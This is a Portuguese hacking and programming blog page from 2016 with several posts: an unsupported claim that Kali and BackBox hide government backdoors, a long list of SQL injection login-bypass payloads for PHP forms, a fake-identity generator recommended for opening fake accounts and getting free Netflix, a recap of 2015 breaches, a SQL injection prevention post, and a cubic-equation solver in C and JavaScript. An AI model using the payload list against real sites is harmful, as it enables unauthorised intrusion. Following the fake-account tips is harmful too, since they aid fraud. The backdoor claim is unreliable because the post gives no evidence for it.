sexta-feira, 29 de janeiro de 2016

Publicado sexta-feira, janeiro 29, 2016 por com 0 comentário

Sistemas Pentest (Kali, BackBox, BackTrack) com backdoors

Primeiramente, esse post não foi escrito por minha pessoa. Porém achei muito interessante compartilhar essa informação. Os créditos vão para o usuário “General anonymous” do forum.guiadohacker.com.br

Se você usar as distribuições de pentest, principalmente a backbox, vocês não estarão anonymous, provavelmente tem algum tipo backdoor colocado pela NSA ou CIA, ou os próprios desenvolvedores, a fim de monitorar os usuários.




Experiência com backbox! 


Na backbox (eu sou um grayhat e ataco só governos criminosos, nunca inocentes), durante meu procedimento de ataque, por desconfiança, eu decidi fazer uma análise forense (sou especialista) e análise de tráfego de rede e foi consegui identificar backdoors. 

O metasploit da backbox funciona para fazer pentest, porém ela está com scrips que fazem conexão reserva para um outro lugar (provavelmente um hacker, NSA ou CIA). Enfim, na análise forense que eu fiz foi identificado modificações de arquivos, desaparecimento de arquivos, adição de arquivos, etc. 

Bom, pela análise que fiz, PRATICAMENTE QUALQUER distribuição de pentest, tem uma probabilidade de 100% dos desenvolvedores estarem ownando os usuários e monitorando 

Alguns black hats que me comuniquei também me informaram que durante um ataque black hat, o sistema parava de funcionar sem nenhum sentido. É como se houve realmente uma backdoor bem escondida e algum agente governamental provavelmente dos EUA monitorando e controlando conforme seus objetivos.

Eu recomendo não usar backtrack, backbox, kali linux para absolutamente nada particular, usem eles somente para pentest white hat. O que podemos fazer para garantir nossa privacidade é absolutamente usar as distribuições pentest para aprender e depois em um linux limpo (Debian ou CentOs), instalamos todas as ferramentas e o usamos com privacidade assim garantimos que não há backdoor... 

Ainda recomendo fortemene usar o tails, o sistema operacional que o Snowden inclusive usa, a fonte do tails é confiável.

Ver mais
      edit

quarta-feira, 27 de janeiro de 2016

Publicado quarta-feira, janeiro 27, 2016 por com 0 comentário

Curso HTML5 e CSS3

Para quem está começando na área de programação web, é sempre bom fazer um curso para aperfeiçoar suas técnicas e criar sites ou sistemas mais bonitos e limpo. Ao fazer os cursos abaixo, você será capaz de:

Entender o que é HTML5 e o CSS3
Entender a estrutura básica de um arquivo HTML5
Usar cada uma das diferentes tags do HTML5
Utilizar o navegador para inspecionar elementos e encontrar bugs
Definir estilos para elementos usando o CSS3
Desenvolver páginas Web Completas

Para quem deseja aprender HTML, há um curso grátis no site Fundação Bradesco: HTML

Já quem deseja se aprofundar mais e estudar HTML5 e CSS3, o site w3c, disponibiliza duas apostilas: HTML5 e CSS3

Além disso, é recomendado também aprender muito sobre JavaScript, pois com essa linguagem que muitos efeitos e interações são criadas na web. Para isso, eu recomendo um curso da Udemy, onde você aprenderá todo o conteúdo de CSS, HTML e JavaScript



Ver mais
      edit

quarta-feira, 20 de janeiro de 2016

Publicado quarta-feira, janeiro 20, 2016 por com 0 comentário

Dorks para testar injeção SQL em formulários PHP

Ainda há vários sites na internet com essa falha, e há várias maneiras de explorá-la. E uma dessas maneiras é testar em formulários onde há campos de login e senha. Abaixo está uma lista que usava para a fim de testar se o formulário contém a falha SQL.



b' or ' 1='
' or '1
' or '|
' or 'a'='a
' or ''='
' or 1=1--
') or ('a'='a
' or '1'='1
admin ' - -
' or 0=0 --
"or 0=0 --
' or 0=0 #
"or 0=0 #
' or ' x'='x
"or" x"="x
') or (' x'='x
' or 1=1 --
"or 1=1 --
' or a=a --
"or" a"="a
') or (' a'='a
") or ("a"="a
hi "or" a"="a
hi "or 1=1 --
hi ' or 1=1 --
hi ' or ' a'='a
hi ') or (' a'='a
hi") or ("a"="a
hi ‘ or 1=1 –
hi ‘ or ‘ a’='a
hi ‘) or (‘ a’='a
hi”) or (“a”=”a
admin ‘ – -
‘ or 0=0 –
“or 0=0 –
‘ or ‘ 1
b’ or ‘ 1=’
‘ or ’1
‘ or ‘|
‘ or ‘a’='a
‘ or ”=’
‘ or 1=1–
‘) or (‘a’='a
‘ or ’1'=’1
‘ or 0=0 #
“or 0=0 #
‘ or ‘ x’='x
“or” x”=”x
‘) or (‘ x’='x
“or” a”=”a
“) or (“a”=”a
hi “or” a”=”a
hi “or 1=1 –
‘ or a=a –
' or ' 1
' or '1'='1
' or 1=1--
'or''='
' or 'a'='a
') or ('a'='a
Ver mais
      edit

terça-feira, 19 de janeiro de 2016

Publicado terça-feira, janeiro 19, 2016 por com 0 comentário

Gerador de Pessoas



O nome do tópico pode parecer estranho, mas é exatamente que esse site: LINK.
Através dele você pode gerar dados de:

Certidões
CNH
CPF
CNPJ
RG
Título de Eleitor
Pessoas
Imagem
Senha
Conta Bancária
PIS/PASEP
CEP
Inscrição Estadual
Cartão de Crédito
Empresas
Lorem Ipsum

Através de todas essas informações você pode abrir inúmeras contas fakes na internet. Isso servirá de base para o próximo tutorial, onde vamos conseguir usar a netflix por 30 dias grátis.

OBS.: Todos os dados gerados são fictícios.


Ver mais
      edit

quinta-feira, 14 de janeiro de 2016

Publicado quinta-feira, janeiro 14, 2016 por com 0 comentário

Maiores Ataques Hackers de 2015



Com quase 300 milhões de registros vazados e US$ 1 bilhão roubados em 2015, as chances são de que você ou alguém que você conhece foi afetado por um ataque cibernético neste ano. Todos os meses de 2015 trouxe um novo grande ataque cibernético.

Hackers atingiram empresas e governos, mês após mês, muitas vezes com resultados chocantes. Se fosse listar todos os ataques a lista ficaria espantosamente grande. Assim foram separados apenas os piores, levando em conta o grande número de pessoas afetadas ou, no caso de funcionários do governo específicos serem cortados, e as implicações incalculáveis e precipitação após esse fato.

9 - Hackers violaram os sistemas de saúde da seguradora Anthem Inc., expondo cerca de 80 milhões de registros pessoais.

Em fevereiro, a Anthem reconheceu que foi invadida por atacantes ainda desconhecidos, onde acessaram 80 milhões de dados de pessoas que utilizam planos de saúde como Amerigroup e Anthem Blue Cross e Blue Shield.

Até o CEO da companhia foi afetada pela violação de dados, que expôs aniversários, endereços, números de segurança social (CPF aqui no Brasil), e e-mails. A empresa disse que não havia "nenhuma evidência" de que os cartões de crédito ou informações médicas tenham sido expostas.

A grande falha pode ter sido obra de hackers chineses, uma vez que foram deixadas "impressões digitais" de um Estado-nação, de acordo com a Bloomberg.

8 - Talvez o ataque de mais alto perfil foi em Ashley Madison, o site do adultério que prometia seus membros assuntos sigilosos.

Um grupo chamado Impact Team roubou o banco de dados do site em julho e tentou chantagear sua controladora Avid Life Media para derrubar o site. Após 30 dias, o site ainda permaneceu em linha, e os hackers liberaram tudo, o que incluiu informações pessoais, como e-mails e endereços físicos de 37 milhões de usuários.

O grupo seguiu com o ataque e vazaram uma quantidade ainda maior de e-mails corporativos de Avid Life, incluindo as do CEO Noel Biderman, que se demitiu pouco tempo depois.

Apesar de estar entre os dados vazados, não significa, necessariamente, que uma pessoa foi realmente um dos usuários do site - não houve verificação e-mail, pois até mesmo o Barack Obama e vários outros políticos estavam lá.

Alguns, como o Pastor John Gibson que, cometeu suicídio apenas seis dias depois de ter sido encontrado no banco de dados.

Apesar dos vazamentos, a empresa afirma que aumentou em vários milhões de membros, embora ainda enfrenta uma série de ações judiciais coletivas de clientes cujas identidades foram expostas.

7 - Um grupo de hackers desconhecidos, infiltraram-se em centenas de bancos em vários países, roubando cerca de 1 bilhão de dólares


O maior assalto a banco de 2015 foi completamente digital. A partir do final de 2013, um grupo desconhecido de criminosos cibernéticos se infiltram em várias empresas financeiras, e depois infectaram seus alvos com anexos de e-mail infectados (phishing).

No momento em que o ataque foi descoberto pela Kaspersky Lab em 2015, pelo menos 100 bancos em 30 países, incluindo a Rússia, os EUA, Alemanha, China e Ucrânia, foram afetados. Em muitos casos, os criminosos usaram suas façanhas para retirar o dinheiro de caixas eletrônicos ou transferir o dinheiro para contas controladas por eles.

6 - O grupo de segurança cibernética Hacking Team foi hackeado, revelando que ele estava fornecendo ferramentas de espionagem para governos.

O grupo Hacking Team, anunciou em julho, a todos os seus clientes para não usarem seu software depois que um hacker violou os seus sistemas e conta no Twitter, além de vazar 400 gigabytes de dados.

A empresa diz que fornece soluções para fins de aplicação da lei e de inteligência, e negou relatos de que foi vendida a tecnologia para qualquer país.

5 - Hackers ganharam acesso a sistemas da Casa Branca em 2014, mas a natureza da invasão tem pior maneira como novos detalhes surgiram no ano de 2015.

Uma violação da rede na Casa Branca em outubro 2014 causou "interrupção temporária de alguns serviços", mas foi minimizado na época.

Meses mais tarde, foi revelado que a invasão partiu de hackers russos, onde acessaram agenda e e-mails que revelaram informações pessoais, movimentos e debates políticos, entre outras comunicações ainda mais sensíveis do presidente.

"Este tem sido um dos ataques mais sofisticados que já vimos", disse um alto funcionário americano ao The New York Times.

Esses mesmos agressores são também responsáveis por invadirem os sistemas de e-mail do Departamento de Estado, segundo a CNN.

4 - Cerca de 15 milhões de clientes da T-Mobile, teve suas informações roubadas depois que a empresa de verificação de crédito Experian, foi invadida.

Cerca de 15 milhões de pessoas que se cadastraram nos últimos três anos para os serviços sem fio a partir de T-Mobile, encontraram-se em um situação complicada, já que houve uma violação de dados.

Os Hackers entraram no banco de dados da Experian, a agência de informações de crédito que verifica sobre potenciais clientes T-Mobile. Os hackers vazaram nomes, endereços, datas de nascimento e números de segurança social.

Ele também destacou os perigos de uma empresa depender de outro para manter os dados dos clientes. "Obviamente, eu estou muito irritado com esta violação de dados e nós vamos instituir uma revisão profunda da nossa relação com a Experian," disse o CEO T-Mobile John Legere, em uma carta aberta.

3 - Diretor da CIA John Brennan, teve o seu e-mail hackeado e possuia documentos pessoais sensíveis.

Um hacker que diz ser um estudante de escola secundária americana disse que através "engenharia social" conseguiu acesso conta de e-mail AOL do diretor da CIA, que tinha anexos sensíveis dentro.

O hacker postou supostas lista de contatos e registros de chamadas de John Brennan. Mas o maior vazamento foi o questionário de segurança SF-86 para seu certificado de segurança, que tinhas vários números de Brennan e outros de segurança social (CPF), nomes, endereços, e outras informações sensíveis.


O hacker disse ao Wired como ele ganhou acesso através de uma série de truques inteligentes, primeiro se passando como um empregado Verizon para obter informações sobre Brennan, que ele então tinha utilizado para desbloquear o e-mail e por mentir ao serviço AOL, se passando como cliente.

2 - Uma violação de dados na fabricante de brinquedos de crianças VTech resultou na liberação de registros em 4,8 milhões de pais e mais de 6,8 milhões de crianças.

Os dados pessoais de milhões de pais e crianças foram expostos depois que um hacker obteve acesso ao servidor da fabricante de brinquedos VTech, em novembro.

O hacker disse ao Motherboard que não tinha planos de vazar os dados, embora a violação de informações pessoais, como nomes, endereços, datas de nascimento, e-mails e poderia facilmente ser vendido na web escuro.

A violação também incluiu milhares de arquivos de imagem, tiradas com produtos VTech e enviados online. A empresa disse que cartões de crédito ou números de segurança social não foram obtidos com a invasão.

1 - A agência do governo norte-americano responsável pela verificação de antecedentes foi invadida, e informações sobre praticamente todos os funcionários federais desde o ano de 2000 foram vazadas.

Em junho, soube-se que hackers obtiveram acesso aos bancos de dados do Gabinete de Gestão Pessoal e roubou dados de cerca de 4,2 milhões de funcionários federais. Porém, depois de um rastreio de segurança federal a quantidade aumentou para mais de 22 milhões.

Alguns acreditam que a invasão foi trabalho do governo chinês, e permitiu o acesso aos sensíveis questionários SF-86, dados militares, oficiais de inteligência, e outros.

Eles divulgaram os nomes, endereços, informações de saúde, história financeira, números de segurança social, membros da família, e até mesmo as opiniões de seus vizinhos. Além disso, foram expostas mais de 1 milhão de impressões digitais. Especialistas acreditam que a partir da biometria ainda mais dados poderiam ser roubados.

OPM Diretor Katherine Archuleta renunciou em meio a críticas bipartidária, apenas um mês após a invasão ter se tornada pública.


Ver mais
      edit

segunda-feira, 11 de janeiro de 2016

Publicado segunda-feira, janeiro 11, 2016 por com 6 comentários

Apostila PenTest em Português - Parte 1

Apostila com conteúdo profissional que aborda várias técnicas de invasão, partindo desde os conceitos mais simples aos mais avançados.

Para quem não sabe, PenTest é o acrônimo para PENETRATION TEST ou Teste de Penetração, onde um sistema passa por uma rigorosa varredura a fim de encontrar vulnerabilidades, utilizando todo tipo de ferramentas e técnicas possíveis para invadir o sistema. Possibilitando a correção de falhas antes que sejam exploradas por uma pessoa mal-intencionada.



Segue abaixo os conteúdos abordados pela apostila:

Introdução a segurança da informação.
Introdução ao teste de invasão e ética hacker.
Tipos de PenTest.
Desenvolvimento de relatórios.
Google hacking.
Footprint.
Fingerprint.
Engenharia social.
Varreduras ativas, passivas e furtivas.
Enumeração do alvo.
Dos, DDos, sequestro de sessão.
Netcat, backdoors, rootkits, keyloggers e worms.
Detectando Honeypots .
Evasão de firewall/IDS com Nmap.
Brute Force, John The Ripper, THC-Hydra, BruteSSH2.
Vulnerabilidades em aplicações web.
Escalação de privilégios.
Técnicas de Sniffing.
Usando exploits com Metasploit.
Usando Ettercap, Wireshark, Maltego.
Invasão de redes sem fio (Wireless)
Botnet’s (entendendo a manipulação de computadores zumbis).


Download 4shared: Link
Senha: "http://secdigital.blogspot.com.br/", sem aspas

Atualização: Nova Apostila PenTest em Português - Parte 2









  • Introdução a segurança da informação.
  • Introdução ao teste de invasão e ética hacker.
  • Tipos de PenTest.
  • Desenvolvimento de relatórios.
  • Google hacking.
  • Footprint.
  • Fingerprint.
  • Engenharia social.
  • Varreduras ativas, passivas e furtivas.
  • enumeração do alvo.
  • Dos, DDos, sequestro de sessão.
  • Netcat, backdoors, rootkits, keyloggers e worms.
  • Detectando Honeypots .
  • evasão de firewall/IDS com Nmap.
  • Brute Force, John The Ripper, THC-Hydra, BruteSSH2.
  • Vulnerabilidades em aplicações web.
  • Escalação de privilégios.
  • Técnicas de Sniffing.
  • Usando exploits com Metasploit.
  • Usando Ettercap, Wireshark, Maltego.
  • invasão de redes sem fio (Wireless)
  • Botnet’s (entendendo a manipulação de computadores zumbis).
  • - See more at: http://www.linuxforce.com.br/curso-pentest-profissional-seguranca-hacker/#sthash.IwhqzrVn.dpuf
    Ver mais
          edit

    sexta-feira, 8 de janeiro de 2016

    Publicado sexta-feira, janeiro 08, 2016 por com 0 comentário

    Prevenção do SQL Injection com mysql_real_escape_string()

    Esse problema é bem conhecido, mas temos várias formas de se proteger. Uma delas é através da função especial mysql_real_escape_string() que o PHP possui.



    A função mysql_real_escape_string() pega uma string que vai ser usada em uma consulta MySQL e retorna a mesma sequência com todas as tentativas de injeção SQL. Basicamente, ela irá substituir aquelas aspas problemáticas (') por uma barra invertida (\).

    IMPORTANTE:

    Caso esteja usando o mysqli:
                  Estilo Orientado à Objetos:
                      string mysqli::escape_string ( string $escapestr )
                      string mysqli::real_escape_string ( string $escapestr )

                  Estilo procedural:
                      string mysqli_real_escape_string ( mysqli $link , string $escapestr )

                  Fonte: Manual PHP

    Caso esteja usando o mysql:
                 string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )

                  Fonte: Manual PHP

    Vamos mostrar como essa função funciona em um ataque de SQL Injection.

    Código PHP:
     $link = mysql_connect("localhost", "usuario", "senha", "sua_base");  
     if (!$link) {  
       echo "Error: Falha ao conectar-se com o banco de dados MySQL." . PHP_EOL;  
       exit;  
     }
     echo "Sucesso: Sucesso ao conectar-se com a base de dados MySQL." . PHP_EOL."<br>";  
    
     //Observação: você deve está conectado no banco de dados para usar essa função.  
     $string_maliciosa = "' OR 1'";   
     $string_maliciosa = mysql_real_escape_string($string_maliciosa);  
     $query_maliciosa = "SELECT * FROM clientes WHERE username = '$string_maliciosa'";  
     echo "SQL Injection: <br />" . $query_maliciosa . "<br />";  
     $ataque_deletar = "'; DELETE FROM clientes WHERE 1 or username = '";   
     $ataque_deletar = mysql_real_escape_string($ataque_deletar);  
     $query_deletar = "SELECT * FROM clientes WHERE username = '$ataque_deletar'";  
     echo "Ataque Injection: <br />" . $query_deletar;  
    


    Resultado:

    Resultado do primeiro ataque:
     SELECT * FROM clientes WHERE username = '\' OR 1\''   
    

    Resultado do segundo ataque:
     SELECT * FROM clientes WHERE username = '\'; DELETE FROM clientes WHERE 1 or username = \''   

    Observe que essas aspas foram precedidas por uma barra invertida \, impedindo o ataque de injeção. Agora todas essas consultas que o atacante irá fazer, apenas vai encontrar um nome de usuário que é apenas completamente ridículo:

    Ataque 1: \’ OR 1\’
    Ataque 2: \’; DELETE FROM clientes WHERE 1 or username = \’


    Agora não tem desculpa para não se proteger, pois é uma função eficiente e irá ajudar a evitar ataques de injeção de SQL em seus sites.
    Ver mais
          edit

    sexta-feira, 1 de janeiro de 2016

    Publicado sexta-feira, janeiro 01, 2016 por com 0 comentário

    Algoritmo da equação de 3º grau

    Para facilitar minha vida fiz um algoritmo baseado nas fórmulas de Cardano e Tartaglia para calcular equações de 3º Grau. Estou disponibilizando o código em duas linguagens C e JavaScript.



    Código em C:

     #include<stdio.h>   
     #include<stdlib.h>   
     #include<math.h>   
     void eq_3grau()   
     {   
        system("cls");   
        float a,b,c,d;   
        float r,q,s,discrim,dum1 ,term1, r13, t;   
        float x1,x2,x3;   
        float x11=0, x22=0,x33=0;    
        do{   
        printf("Digite o valor de a: "); scanf("%f",&a);   
        if(a==0)   
          printf("O coeficiente do cubo não pode ser 0.\n\n");   
        }while(a==0);   
        printf("Digite o valor de b: "); scanf("%f",&b);   
        printf("Digite o valor de c: "); scanf("%f",&c);   
        do{   
        printf("Digite o valor de d: "); scanf("%f",&d);   
        if(d==0)   
         printf("\n\nBem, uma raiz eh 0. Divida a equacao polinomial por x e você tem uma equacao do segundo grau. Aqui nada mais ha a ser feito.\n\n");   
       }while(d==0);   
        b /= a;    
        c /= a;    
        d /= a;    
        q = (3*c - (b*b))/9;   
        r = -(27*d) + b*(9*c - 2*(b*b));   
        r /= 54;   
        discrim = q*q*q + r*r;   
        printf("\n\ndiscri = %.20f\n\n", discrim);   
        x1 = 0; //A primeira raiz é sempre real.   
        term1 = (b/3.0);     
        if (discrim > 0) // uma real, duas imaginarias   
        {    
         printf("\n\nO discriminante eh maior que zero");   
         s = r + sqrt(discrim);   
         s = (s < 0) ? -cbrt(-s) : cbrt(s);   
         t = r - sqrt(discrim);   
         t = (t < 0) ? -cbrt(-t) : cbrt(t);   
         x1= -term1 + s + t;   
         term1 += (s + t)/2.0;   
         x33 = x22 = -term1; //parte real   
         term1 = sqrt(3.0)*(-t + s)/2;   
         x2 = term1;   
         x3 = -term1;   
       printf("\n\nx1 = %.8f\n", x1);   
       printf("x2 = %.8f + %.8f*i\n", x22,x2);   
       printf("x3 = %.8f + %.8f*i\n", x33, x3);   
       }   
       if (discrim == 0) // Todas as raizes sao reais.   
       {   
         printf("\n\nO discriminante eh igual a zero");   
         r13 = (r < 0) ? -cbrt(-r) : cbrt(r);   
         x1 = -term1 + 2.0*r13;   
         x3 = x2 = -(r13 + term1);   
       printf("\n\nx1 = %.8f\n", x1);   
       printf("x2 = %.8f\n", x2);   
       printf("x3 = %.8f\n", x3);   
       }   
       if(discrim < 0) //Opcao deixada para onde todas as raizes sao reais e distintas (q < 0)   
       {   
         printf("\n\nO discriminante eh menor que zero");   
       q = -q;   
       dum1 = q*q*q;   
       dum1 = acos(r/sqrt(dum1));   
       r13 = 2.0*sqrt(q);   
       x1 = -term1 + r13*cos(dum1/3.0);   
       x2 = -term1 + r13*cos((dum1 + 2.0*M_PI)/3.0);   
       x3 = -term1 + r13*cos((dum1 + 4.0*M_PI)/3.0);   
       printf("\n\nx1 = %.8f\n", x1);   
       printf("x2 = %.8f\n", x2);   
       printf("x3 = %.8f\n", x3);   
       }     
     }   
     int main ()   
     {   
     do{   
       system("cls");   
     eq_3grau();   
      printf("\n\n\nQuer continuar? (s/n) ");   
     }while (toupper(getch()) != 'N');   
        // by Bruh   
     }   
    



    Código em JavaScript

     <!--Define JavaScript functions.-->   
     function Resolve(dataForm){   
     var a = parseFloat(dataForm.aIn.value);   
     var b = parseFloat(dataForm.bIn.value);   
     var c = parseFloat(dataForm.cIn.value);   
     var d = parseFloat(dataForm.dIn.value);   
     if (a == 0){   
      alert("O coeficiente do cubo não pode ser 0.");   
      return;   
     } //End if a == 0   
     if (d == 0){   
      alert("Bem, uma raiz eh 0. Divida a equacao polinomial por x e você tem uma equacao do segundo grau. Aqui nada mais ha a ser feito.");   
      return;   
     } //End if d == 0   
     b /= a;   
     c /= a;   
     d /= a;   
     var discrim, q, r, dum1, s, t, term1, r13;   
     q = (3.0*c - (b*b))/9.0;   
     r = -(27.0*d) + b*(9.0*c - 2.0*(b*b));   
     r /= 54.0;   
     discrim = q*q*q + r*r;   
     dataForm.x1Im.value = 0; //A primeira raiz é sempre real.   
     term1 = (b/3.0);   
     if (discrim > 0) { // uma real, duas imaginarias   
      s = r + Math.sqrt(discrim);   
      s = ((s < 0) ? -Math.pow(-s, (1.0/3.0)) : Math.pow(s, (1.0/3.0)));   
      t = r - Math.sqrt(discrim);   
      t = ((t < 0) ? -Math.pow(-t, (1.0/3.0)) : Math.pow(t, (1.0/3.0)));   
      dataForm.x1Re.value = -term1 + s + t;   
      term1 += (s + t)/2.0;   
      dataForm.x3Re.value = dataForm.x2Re.value = -term1;   
      term1 = Math.sqrt(3.0)*(-t + s)/2;   
      dataForm.x2Im.value = term1;   
      dataForm.x3Im.value = -term1;   
      return;   
     } // End if (discrim > 0)   
     dataForm.x3Im.value = dataForm.x2Im.value = 0;   
     if (discrim == 0){ // Todas as raizes sao reais.   
      r13 = ((r < 0) ? -Math.pow(-r,(1.0/3.0)) : Math.pow(r,(1.0/3.0)));   
      dataForm.x1Re.value = -term1 + 2.0*r13;   
      dataForm.x3Re.value = dataForm.x2Re.value = -(r13 + term1);   
      return;   
     } // End if (discrim == 0)   
     // Opcao deixada para onde todas as raizes sao reais e distintas (q < 0)   
     q = -q;   
     dum1 = q*q*q;   
     dum1 = Math.acos(r/Math.sqrt(dum1));   
     r13 = 2.0*Math.sqrt(q);   
     dataForm.x1Re.value = -term1 + r13*Math.cos(dum1/3.0);   
     dataForm.x2Re.value = -term1 + r13*Math.cos((dum1 + 2.0*Math.PI)/3.0);   
     dataForm.x3Re.value = -term1 + r13*Math.cos((dum1 + 4.0*Math.PI)/3.0);   
     return;   
     } //FIM do Resolve   
     // by Bruh   
     // end of JavaScript-->   
    



    Ver mais
          edit